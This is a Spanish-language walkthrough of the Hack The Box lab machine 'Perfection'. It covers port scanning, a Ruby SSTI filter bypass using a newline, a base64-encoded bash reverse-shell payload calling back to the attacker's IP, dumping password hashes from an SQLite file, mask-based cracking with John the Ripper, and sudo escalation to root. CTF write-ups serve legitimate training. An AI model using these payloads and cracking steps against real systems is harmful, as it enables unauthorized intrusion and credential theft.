Descripción
Perfection es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección de plantillas en el lado del servidor (SSTI) en una aplicación web Ruby
- Exposición de datos sensibles en una base de datos SQLite
- Recuperación de una contraseña a través de un hash utilizando una máscara
- Escalada de privilegios a través permisos débiles con la contraseña recuperada previamente
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.144.202.
$ ping -c 3 10.129.144.202
PING 10.129.144.202 (10.129.144.202) 56(84) bytes of data.
64 bytes from 10.129.144.202: icmp_seq=1 ttl=63 time=52.2 ms
64 bytes from 10.129.144.202: icmp_seq=2 ttl=63 time=51.6 ms
64 bytes from 10.129.144.202: icmp_seq=3 ttl=63 time=52.1 ms
--- 10.129.144.202 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 51.565/51.967/52.210/0.286 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.144.202 -sS -p- -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.144.202
Host is up (0.060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 36.50 seconds
Obtenemos dos puertos abiertos, 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.144.202 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.144.202
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
Conseguimos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Ubuntu Linux. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://perfection.htb, por lo que lo agregamos a nuestro archivo local /etc/hosts.
$ echo "10.129.144.202 perfection.htb" | sudo tee -a /etc/hosts
Con WhatWeb podemos ver las tecnologías del sitio web, en este caso está utilizando y servidor nginx con una aplicación Ruby WEBrick 1.7.0. WEBrick es un kit de herramientas de servidor HTTP.
$ whatweb --log-brief web_techs perfection.htb
http://perfection.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx, WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)], IP[10.129.144.202], PoweredBy[WEBrick], Ruby[3.0.2], Script, Title[Weighted Grade Calculator], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]
La página web tiene una herramienta para calcular una nota total en una clase basada en la puntuación de las categorías y los pesos porcentuales.

Explotación
El formulario de entrada puede ser vulnerable a la inyección de comandos. Si se introduce un símbolo, el mensaje Malicious input blocked aparece. Como la aplicación está usando Ruby necesitamos hacer un Server Side Template Injection (SSTI) con el formato <%= command %>. Observamos que si introducimos un carácter de salto de línea \n o 0x0a URL codificado, los caracteres después de la nueva línea no son procesados por el filtro, por lo que podemos inyectar comandos para crear una terminal inversa con el parámetro category1.
Parámetro a utilizar:
category%0a<%= system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA+JjE= | base64 -d | bash') %>
Parámetro a utilizar URL codificado:
category%0a<%25%3d+system('echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA%2bJjE%3d+|+base64+-d+|+bash')+%25>
Abrimos el puerto de escucha y enviamos la solicitud. Recibiremos la terminal inversa que tendremos que actualizar.
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.144.202] 34940
bash: cannot set terminal process group (967): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
[keyboard] CTRL-Z
susan@perfection:~/ruby_app$ stty rows 48 columns 156
susan@perfection:~/ruby_app$ export TERM=xterm
susan@perfection:~/ruby_app$ export SHELL=bash
Post-Explotación
Después de la explotación, vemos que estamos conectados como el usuario susan. Aparte de eso, sólo encontramos la cuenta root como usuario de consola.
susan@perfection:~/ruby_app$ id
id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
susan@perfection:~/Migration$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
susan:x:1001:1001:Susan Miller,,,:/home/susan:/bin/bash
Encontramos un archivo de base con formato SQLite en la ruta /home/susan/Migration/pupilpath_credentials.db. Podemos volcar sus datos usando el comando sqlite3.
susan@perfection:~/Migration$ sqlite3 pupilpath_credentials.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
Conseguimos los hashes para algunos usuarios, incluyendo susan. Podemos extraer el hash y romperlo usando John The Ripper. El tipo de hash es SHA256. Si intentamos romper el hash usando el diccionario RockYou no conseguiremos ningún resultado. Enumeremos todo sobre la aplicación pupilpath.
$ grep -rni "pupilpath" / 2> /dev/null
/var/mail/susan:1:Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
Encontramos un correo electrónico enviado a susan sobre la aplicación PupilPath.
$ cat /var/spool/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
Como leemos, tenemos el formato de la contraseña de destino, {primernombreenminusculas}_{primernombrealrevesenminusculas}_{numero aleatorio entre 0 y 1000000000}, por lo que podemos utilizar ahora John con la máscara para encontrar la contraseña.
$ john --mask=susan_nasus_?d?d?d?d?d?d?d?d?d --format=Raw-SHA256 hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
susan_nasus_413759210 (Susan Miller)
1g 0:00:00:32 DONE 0.03107g/s 31075Kp/s 31075Kc/s 127485KC/s susan_nasus_502406777..susan_nasus_777777777
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para Susan Miller, susan_nasus_413759210. La contraseña se reutiliza en la cuenta Linux susan por lo que podemos enumerar los comandos que susan puede ejecutar como el usuario root.
susan@perfection:~/Migration$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
Susan puede ejecutar todos los comandos como root por lo que sólo necesitamos usar sudo para obtener terminal inversa como root.
susan@perfection:~/Migration$ sudo -i
Password:
root@perfection:/home/susan/Migration# id
uid=0(root) gid=0(root) grupos=0(root)
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
root@perfection:/home/susan/Migration# cat /home/susan/user.txt
<REDACTED>
root@perfection:/home/susan/Migration# cat /root/root.txt
<REDACTED>